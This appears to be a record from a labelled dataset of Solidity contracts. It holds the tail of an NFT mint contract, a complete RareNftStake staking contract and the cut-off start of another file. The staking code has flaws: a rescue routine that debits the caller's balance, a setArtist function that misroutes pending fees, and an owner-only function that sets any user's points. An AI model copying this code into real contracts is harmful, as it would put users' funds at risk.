string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0
? string(abi.encodePacked(currentBaseURI, tokenId.toString(), baseExtension))
: "";
}
//only owner
function reveal() public onlyOwner {
revealed = true;
}
function setPrice(uint256 _newPrice) public onlyOwner {
price = _newPrice;
}
function setDipsPrice(uint256 _newDipsPrice) public onlyOwner {
dipsPrice = _newDipsPrice;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setDipsAddress(address _dipsAddress) public onlyOwner {
dipsAddress = _dipsAddress;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function whitelistUsers(address[] calldata _users) public onlyOwner {
for (uint256 i = 0; i < _users.length; i++) {
whitelistedAddresses[_users[i]] = true;
}
}
function withdraw() public payable onlyOwner {
(bool os, ) = payable(owner()).call{value: address(this).balance}("");
require(os);
}
//view
function totalSupply() public view returns (uint256) {
return _tokenSupply.current();
}
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/**
*Submitted for verification at Etherscan.io on 2021-06-24
*/
pragma solidity ^0.6.6;
// SPDX-License-Identifier: MIT
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
/**
* @title Roles
* @dev Library for managing addresses assigned to a Role.
*/
library Roles {
struct Role {
mapping(address => bool) bearer;
}
/**
* @dev Give an account access to this role.
*/
function add(Role storage role, address account) internal {
require(!has(role, account), "Roles: account already has role");
role.bearer[account] = true;
}
/**
* @dev Remove an account's access to this role.
*/
function remove(Role storage role, address account) internal {
require(has(role, account), "Roles: account does not have role");
role.bearer[account] = false;
}
/**
* @dev Check if an account has this role.
* @return bool
*/
function has(Role storage role, address account) internal view returns (bool) {
require(account != address(0), "Roles: account is the zero address");
return role.bearer[account];
}
}
// SPDX-License-Identifier: MIT
contract PauserRole is Context {
using Roles for Roles.Role;
event PauserAdded(address indexed account);
event PauserRemoved(address indexed account);
Roles.Role private _pausers;
constructor() internal {
_addPauser(_msgSender());
}
modifier onlyPauser() {
require(isPauser(_msgSender()), "PauserRole: caller does not have the Pauser role");
_;
}
function isPauser(address account) public view returns (bool) {
return _pausers.has(account);
}
function addPauser(address account) public onlyPauser {
_addPauser(account);
}
function renouncePauser() public {
_removePauser(_msgSender());
}
function _addPauser(address account) internal {
_pausers.add(account);
emit PauserAdded(account);
}
function _removePauser(address account) internal {
_pausers.remove(account);
emit PauserRemoved(account);
}
}
// SPDX-License-Identifier: MIT
/**
* @dev Contract module which allows children to implement an emergency stop
* mechanism that can be triggered by an authorized account.
*
* This module is used through inheritance. It will make available the
* modifiers `whenNotPaused` and `whenPaused`, which can be applied to
* the functions of your contract. Note that they will not be pausable by
* simply including this module, only once the modifiers are put in place.
*/
contract Pausable is Context, PauserRole {
/**
* @dev Emitted when the pause is triggered by a pauser (`account`).
*/
event Paused(address account);
/**
* @dev Emitted when the pause is lifted by a pauser (`account`).
*/
event Unpaused(address account);
bool private _paused;
/**
* @dev Initializes the contract in unpaused state. Assigns the Pauser role
* to the deployer.
*/
constructor() internal {
_paused = false;
}
/**
* @dev Returns true if the contract is paused, and false otherwise.
*/
function paused() public view returns (bool) {
return _paused;
}
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!_paused, "Pausable: paused");
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(_paused, "Pausable: not paused");
_;
}
/**
* @dev Called by a pauser to pause, triggers stopped state.
*/
function pause() public onlyPauser whenNotPaused {
_paused = true;
emit Paused(_msgSender());
}
/**
* @dev Called by a pauser to unpause, returns to normal state.
*/
function unpause() public onlyPauser whenPaused {
_paused = false;
emit Unpaused(_msgSender());
}
}
// SPDX-License-Identifier: MIT
contract PoolTokenWrapper {
using SafeMath for uint256;
IERC20 public token;
constructor(IERC20 _erc20Address) public {
token = IERC20(_erc20Address);
}
uint256 private _totalSupply;
// Objects balances [id][address] => balance
mapping(uint256 => mapping(address => uint256)) internal _balances;
mapping(address => uint256) private _accountBalances;
mapping(uint256 => uint256) private _poolBalances;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOfAccount(address account) public view returns (uint256) {
return _accountBalances[account];
}
function balanceOfPool(uint256 id) public view returns (uint256) {
return _poolBalances[id];
}
function balanceOf(address account, uint256 id) public view returns (uint256) {
return _balances[id][account];
}
function stake(uint256 id, uint256 amount) public virtual {
_totalSupply = _totalSupply.add(amount);
_poolBalances[id] = _poolBalances[id].add(amount);
_accountBalances[msg.sender] = _accountBalances[msg.sender].add(amount);
_balances[id][msg.sender] = _balances[id][msg.sender].add(amount);
token.transferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 id, uint256 amount) public virtual {
_totalSupply = _totalSupply.sub(amount);
_poolBalances[id] = _poolBalances[id].sub(amount);
_accountBalances[msg.sender] = _accountBalances[msg.sender].sub(amount);
_balances[id][msg.sender] = _balances[id][msg.sender].sub(amount);
token.transfer(msg.sender, amount);
}
function transfer(
uint256 fromId,
uint256 toId,
uint256 amount
) public virtual {
_poolBalances[fromId] = _poolBalances[fromId].sub(amount);
_balances[fromId][msg.sender] = _balances[fromId][msg.sender].sub(amount);
_poolBalances[toId] = _poolBalances[toId].add(amount);
_balances[toId][msg.sender] = _balances[toId][msg.sender].add(amount);
}
function _rescuePoints(address account, uint256 id) internal {
uint256 amount = _balances[id][account];
_totalSupply = _totalSupply.sub(amount);
_poolBalances[id] = _poolBalances[id].sub(amount);
_accountBalances[msg.sender] = _accountBalances[msg.sender].sub(amount);
_balances[id][account] = _balances[id][account].sub(amount);
token.transfer(account, amount);
}
}
// SPDX-License-Identifier: MIT
/**
* @title ERC1155Tradable
* ERC1155Tradable - ERC1155 contract that whitelists an operator address,
* has create and mint functionality, and supports useful standards from OpenZeppelin,
like _exists(), name(), symbol(), and totalSupply()
*/
interface IERC1155Tradable {
/**
* @dev Creates a new token type and assigns _initialSupply to an address
* @param _maxSupply max supply allowed
* @param _initialSupply Optional amount to supply the first owner
* @param _uri Optional URI for this token type
* @param _data Optional data to pass if receiver is contract
* @return tokenId The newly created token ID
*/
function create(
uint256 _maxSupply,
uint256 _initialSupply,
string calldata _uri,
bytes calldata _data,
address _beneficiary,
uint256 _residualsFee,
bool _residualsRequired
) external returns (uint256 tokenId);
function mint(
address _to,
uint256 _id,
uint256 _quantity,
bytes calldata _data
) external;
}
// SPDX-License-Identifier: MIT
contract RareNftStake is PoolTokenWrapper, Ownable, Pausable {
using SafeMath for uint256;
IERC1155Tradable public nfts;
struct Card {
uint256 points;
uint256 releaseTime;
uint256 mintFee;
}
struct Pool {
uint256 periodStart;
uint256 maxStake;
uint256 rewardRate; // 11574074074000, 1 point per day per staked token
uint256 feesCollected;
uint256 spentPoints;
uint256 controllerShare;
address artist;
mapping(address => uint256) lastUpdateTime;
mapping(address => uint256) points;
mapping(uint256 => Card) cards;
}
address public controller;
address public rescuer;
mapping(address => uint256) public pendingWithdrawals;
mapping(uint256 => Pool) public pools;
event UpdatedArtist(uint256 poolId, address artist);
event PoolAdded(uint256 poolId, address artist, uint256 periodStart, uint256 rewardRate, uint256 maxStake);
event CardAdded(uint256 poolId, uint256 cardId, uint256 points, uint256 mintFee, uint256 releaseTime);
event Staked(address indexed user, uint256 poolId, uint256 amount);
event Withdrawn(address indexed user, uint256 poolId, uint256 amount);
event Transferred(address indexed user, uint256 fromPoolId, uint256 toPoolId, uint256 amount);
event Redeemed(address indexed user, uint256 poolId, uint256 amount);
event CardPointsUpdated(uint256 poolId, uint256 cardId, uint256 points);
modifier updateReward(address account, uint256 id) {
if (account != address(0)) {
pools[id].points[account] = earned(account, id);
pools[id].lastUpdateTime[account] = block.timestamp;
}
_;
}
modifier poolExists(uint256 id) {
require(pools[id].rewardRate > 0, "pool does not exists");
_;
}
modifier cardExists(uint256 pool, uint256 card) {
require(pools[pool].cards[card].points > 0 || pools[pool].cards[card].mintFee > 0, "card does not exists");
_;
}
constructor(
address _controller,
IERC1155Tradable _nftsAddress,
IERC20 _tokenAddress
) public PoolTokenWrapper(_tokenAddress) {
controller = _controller;
nfts = _nftsAddress;
}
function cardMintFee(uint256 pool, uint256 card) public view returns (uint256) {
return pools[pool].cards[card].mintFee;
}
function cardReleaseTime(uint256 pool, uint256 card) public view returns (uint256) {
return pools[pool].cards[card].releaseTime;
}
function cardPoints(uint256 pool, uint256 card) public view returns (uint256) {
return pools[pool].cards[card].points;
}
function earned(address account, uint256 pool) public view returns (uint256) {
Pool storage p = pools[pool];
uint256 blockTime = block.timestamp;
return
balanceOf(account, pool).mul(blockTime.sub(p.lastUpdateTime[account]).mul(p.rewardRate)).div(1e18).add(
p.points[account]
);
}
// override PoolTokenWrapper's stake() function
function stake(uint256 pool, uint256 amount)
public
override
poolExists(pool)
updateReward(msg.sender, pool)
whenNotPaused()
{
Pool memory p = pools[pool];
require(block.timestamp >= p.periodStart, "pool not open");
require(amount.add(balanceOf(msg.sender, pool)) <= p.maxStake, "stake exceeds max");
super.stake(pool, amount);
emit Staked(msg.sender, pool, amount);
}
// override PoolTokenWrapper's withdraw() function
function withdraw(uint256 pool, uint256 amount) public override poolExists(pool) updateReward(msg.sender, pool) {
require(amount > 0, "cannot withdraw 0");
super.withdraw(pool, amount);
emit Withdrawn(msg.sender, pool, amount);
}
// override PoolTokenWrapper's transfer() function
function transfer(
uint256 fromPool,
uint256 toPool,
uint256 amount
)
public
override
poolExists(fromPool)
poolExists(toPool)
updateReward(msg.sender, fromPool)
updateReward(msg.sender, toPool)
whenNotPaused()
{
Pool memory toP = pools[toPool];
require(block.timestamp >= toP.periodStart, "pool not open");
require(amount.add(balanceOf(msg.sender, toPool)) <= toP.maxStake, "stake exceeds max");
super.transfer(fromPool, toPool, amount);
emit Transferred(msg.sender, fromPool, toPool, amount);
}
function transferAll(uint256 fromPool, uint256 toPool) external {
transfer(fromPool, toPool, balanceOf(msg.sender, fromPool));
}
function exit(uint256 pool) external {
withdraw(pool, balanceOf(msg.sender, pool));
}
function redeem(uint256 pool, uint256 card)
public
payable
poolExists(pool)
cardExists(pool, card)
updateReward(msg.sender, pool)
{
Pool storage p = pools[pool];
Card memory c = p.cards[card];
require(block.timestamp >= c.releaseTime, "card not released");
require(p.points[msg.sender] >= c.points, "not enough points");
require(msg.value == c.mintFee, "support our artists, send eth");
if (c.mintFee > 0) {
uint256 _controllerShare = msg.value.mul(p.controllerShare).div(1000);
uint256 _artistRoyalty = msg.value.sub(_controllerShare);
require(_artistRoyalty.add(_controllerShare) == msg.value, "problem with fee");
p.feesCollected = p.feesCollected.add(c.mintFee);
pendingWithdrawals[controller] = pendingWithdrawals[controller].add(_controllerShare);
pendingWithdrawals[p.artist] = pendingWithdrawals[p.artist].add(_artistRoyalty);
}
p.points[msg.sender] = p.points[msg.sender].sub(c.points);
p.spentPoints = p.spentPoints.add(c.points);
nfts.mint(msg.sender, card, 1, "");
emit Redeemed(msg.sender, pool, c.points);
}
function rescuePoints(address account, uint256 pool)
public
poolExists(pool)
updateReward(account, pool)
returns (uint256)
{
require(msg.sender == rescuer, "!rescuer");
Pool storage p = pools[pool];
uint256 earnedPoints = p.points[account];
p.spentPoints = p.spentPoints.add(earnedPoints);
p.points[account] = 0;
// transfer remaining tokens to the account
if (balanceOf(account, pool) > 0) {
_rescuePoints(account, pool);
}
emit Redeemed(account, pool, earnedPoints);
return earnedPoints;
}
function setArtist(uint256 pool, address artist) public onlyOwner {
uint256 amount = pendingWithdrawals[artist];
pendingWithdrawals[artist] = 0;
pendingWithdrawals[artist] = pendingWithdrawals[artist].add(amount);
pools[pool].artist = artist;
emit UpdatedArtist(pool, artist);
}
function setController(address _controller) public onlyOwner {
uint256 amount = pendingWithdrawals[controller];
pendingWithdrawals[controller] = 0;
pendingWithdrawals[_controller] = pendingWithdrawals[_controller].add(amount);
controller = _controller;
}
function setRescuer(address _rescuer) public onlyOwner {
rescuer = _rescuer;
}
function setControllerShare(uint256 pool, uint256 _controllerShare) public onlyOwner poolExists(pool) {
pools[pool].controllerShare = _controllerShare;
}
function addCard(
uint256 pool,
uint256 id,
uint256 points,
uint256 mintFee,
uint256 releaseTime
) public onlyOwner poolExists(pool) {
Card storage c = pools[pool].cards[id];
c.points = points;
c.releaseTime = releaseTime;
c.mintFee = mintFee;
emit CardAdded(pool, id, points, mintFee, releaseTime);
}
function createCard(
uint256 pool,
uint256 supply,
uint256 points,
uint256 mintFee,
uint256 releaseTime,
address beneficiary,
uint256 residualsFee,
bool residualsRequired
) public onlyOwner poolExists(pool) returns (uint256) {
uint256 tokenId = nfts.create(supply, 0, "", "", beneficiary, residualsFee, residualsRequired);
require(tokenId > 0, "ERC1155 create did not succeed");
Card storage c = pools[pool].cards[tokenId];
c.points = points;
c.releaseTime = releaseTime;
c.mintFee = mintFee;
emit CardAdded(pool, tokenId, points, mintFee, releaseTime);
return tokenId;
}
function createPool(
uint256 id,
uint256 periodStart,
uint256 maxStake,
uint256 rewardRate,
uint256 controllerShare,
address artist
) public onlyOwner returns (uint256) {
require(pools[id].rewardRate == 0, "pool exists");
Pool storage p = pools[id];
p.periodStart = periodStart;
p.maxStake = maxStake;
p.rewardRate = rewardRate;
p.controllerShare = controllerShare;
p.artist = artist;
emit PoolAdded(id, artist, periodStart, rewardRate, maxStake);
}
function withdrawFee() public {
uint256 amount = pendingWithdrawals[msg.sender];
require(amount > 0, "nothing to withdraw");
pendingWithdrawals[msg.sender] = 0;
msg.sender.transfer(amount);
}
// For development and QA
function assignPointsTo(
uint256 pool_,
address tester_,
uint256 points_
) public onlyOwner poolExists(pool_) returns (uint256) {
Pool storage p = pools[pool_];
p.points[tester_] = points_;
// rescue continues
return p.points[tester_];
}
/**
* @dev Updates card points
* @param poolId_ uint256 ID of the pool
* @param cardId_ uint256 ID of the card to update
* @param points_ uint256 new "points" value
*/
function updateCardPoints(
uint256 poolId_,
uint256 cardId_,
uint256 points_
) public onlyOwner poolExists(poolId_) cardExists(poolId_, cardId_) {
Card storage c = pools[poolId_].cards[cardId_];
c.points = points_;
emit CardPointsUpdated(poolId_, cardId_, points_);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2020-09-20
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.6.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: contracts/uniswapv2/interfaces/IUniswapV2Pair.sol
pragma solidity >=0.5.0;
interface IUniswapV2Pair {
event Approval(address indexed owner, address indexed spender, uint value);
event Transfer(address indexed from, address indexed to, uint value);
function name() external pure returns (string memory);
function symbol() external pure returns (string memory);
function decimals() external pure returns (uint8);
function totalSupply() external view returns (uint);
function balanceOf(address owner) external view returns (uint);
function allowance(address owner, address spender) external view returns (uint);
function approve(address spender, uint value) external returns (bool);
function transfer(address to, uint value) external returns (bool);
function transferFrom(address from, address to, uint value) external returns (bool);
function DOMAIN_SEPARATOR() external view returns (bytes32);
function PERMIT_TYPEHASH() external pure returns (bytes32);
function nonces(address owner) external view returns (uint);
function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external;
event Mint(address indexed sender, uint amount0, uint amount1);
event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
function MINIMUM_LIQUIDITY() external pure returns (uint);
function factory() external view returns (address);
function token0() external view returns (address);
function token1() external view returns (address);
function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);
function price0CumulativeLast() external view returns (uint);
function price1CumulativeLast() external view returns (uint);
function kLast() external view returns (uint);
function mint(address to) external returns (uint liquidity);
function burn(address to) external returns (uint amount0, uint amount1);
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external;
function skim(address to) external;
function sync() external;
function initialize(address, address) external;
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
